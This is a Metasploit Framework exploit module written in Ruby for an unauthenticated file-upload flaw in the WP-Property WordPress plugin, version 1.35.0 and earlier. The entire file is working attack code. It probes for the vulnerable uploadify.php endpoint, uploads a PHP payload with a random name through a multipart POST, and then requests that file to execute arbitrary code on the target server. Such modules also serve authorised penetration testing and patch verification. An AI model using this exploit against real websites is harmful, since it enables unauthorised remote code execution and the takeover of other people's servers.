metasploit-framework/modules/exploits/unix/webapp/wp_property_upload_exec.rb

89 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
'Description' => %q(
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
),
'Author' =>
[
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '82656'],
['BID', '53787'],
['EDB', '18987'],
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'],
['WPVDB', '6225']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-property <= 1.35.0', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2012'))
end
def check
uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
Exploit::CheckCode::Detected
end
def exploit
data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
request_uri = normalize_uri(data_uri, 'uploadify.php')
payload_name = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s
print_status("Uploading payload #{payload_name}")
res = send_request_cgi(
'method' => 'POST',
'uri' => request_uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
register_files_for_cleanup(payload_name)
upload_uri = normalize_uri(res.body)
print_status("Executing payload #{payload_name}")
send_request_raw(
'uri' => upload_uri,
'method' => 'GET'
)
end
end